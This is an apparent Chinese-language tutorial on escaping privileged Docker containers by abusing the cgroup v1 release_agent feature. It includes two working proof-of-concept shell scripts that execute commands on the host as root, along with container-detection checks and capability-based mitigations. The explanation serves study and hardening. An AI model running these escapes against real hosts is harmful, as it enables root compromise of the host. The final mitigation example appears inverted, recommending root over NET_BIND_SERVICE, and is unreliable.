了解容器逃逸 --privileged
一个已经有些年份的话题:Docker 容器逃逸,如何从容器内发起攻击。
Felix Wilhelm 有篇 2019 年的推文:
大佬凭借的是 --privileged
。使用了 privileged flag 的容器被称为 privileged docker(其设计初衷是让容器应用能够直接访问硬件设备),PoC 通过滥用 Linux Cgroup v1 的“通知”特性从容器中启动主机进程。
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
privileged flag 引入了严重的安全问题,虽然必须依赖 Docker 容器启动。使用 privileged flag 的容器可以访问所有设备,并且不受 Seccomp(Secure Computing)、AppArmor(Application Armor)和 Linux 功能的限制。
0x00 危险配置
--privileged
带来的权限甚至多于攻击所需,实际上必要的要求有:
- 以 root 用户身份在容器内运行;
- 容器使用 SYS_ADMIN Linux 功能运行;
- 容器缺失 AppArmor 配置文件(允许挂载系统调用);
- Cgroup v1 虚拟文件系统以可读可写方式挂载在容器内。
SYS_ADMIN 功能允许容器执行挂载 syscall
,但这不是默认启动的。默认情况下,Docker 启动的容器只有一组受限的功能,并且考虑到安全风险而不启用 SYS_ADMIN。
参考:Docker security | Docker Documentation。
另外,Docker 默认情况下使用 docker ... apparmor=docker-default ...
启动(AppArmor security profiles for Docker | Docker Documentation),这会阻止挂载系统调用,覆盖 SYS_ADMIN。
因此,容器必须使用如下必要的危险配置来启动:
--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
0x01 Cgroups
Linux Cgroups(参考:Linux Control Groups V1 和 V2 原理和区别 | mikechengwei's Blog) 是 Docker 用来隔离容器的一种机制,上述 PoC 通过滥用 Cgroup v1 的 notify_on_release 功能全权运行漏洞。当 Cgroup 中的最后一个进程“离开”时(比如退出或被附加到另一个 Cgroup),将执行 release_agent 文件中提供的命令,目的是剔除被丢弃的 Cgroup,而且此时其具有完全的 root 权限。
因为release_agent 文件具有 root 身份,默认情况下不会使用,即 notify_on_release 功能默认关闭,且 release_agent 路径为空。
文档:https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。
0x02 容器逃逸
下面尝试一下这种容器逃逸。我们使用 --privileged
来启动容器。
docker run --rm -it --privileged ubuntu:14.04 /bin/bash
判断是否为容器
判断是否处在容器内,可以查看 /proc/1/cgroup(init
进程的 Cgroup),只有在容器内才可能看到一堆容器的 ID。另外,没有经过特意定制的容器是存在 /.dockerenv 文件的。
判断容器是否具备所需权限
依据就是是否能够成功运行一个需要高权限的命令。
添加虚拟接口的指令:
$ ip link add dummy0 type dummy
这个命令要求 NET_ADMIN 权限。NET_ADMIN 是 --privileged
赋予特权功能集的一部分,若不能成功执行(RTNETLINK answers: Operation not permitted),则当前容器就无法利用。
相应的删除虚拟接口命令:
$ ip link delete dummy0
PoC
具体解释:Understanding Docker container escapes | Trail of Bits Blog。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
流程:
- 第 1 行,创建一个新的 Cgroup;
- 第 2 行,启用 notify_on_release;
- 第 3、4 行,指定新建的 Cgroup 应当使用的 release_agent 文件;
- 第 5、6、7 行,写命令脚本,将
ps aux
的执行结果放入 /output 文件中,然后设置该脚本的执行权限位; - 最后通过生成一个进程来触发,这个进程在新 Cgroup 内结束,然后 release_agent 开始执行。
在宿主机上应该可以找到记录 ps aux
输出的文件。
使用这个 PoC 可以任意执行命令。
0x03 应对措施
Docker 的权限粒度只会越来越细,root 权限并不是一个整体,而是被划分为若干单独的权限。默认情况下,Docker 会删除容器的所有功能,并要求添加功能。可以使用 cap-drop 和 cap-add flag 来删除或添加功能。
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
例如,需要绑定小端口(小于 1024)时,可以授予容器 root 权限,而不是 NET_BIND_SERVICE 功能。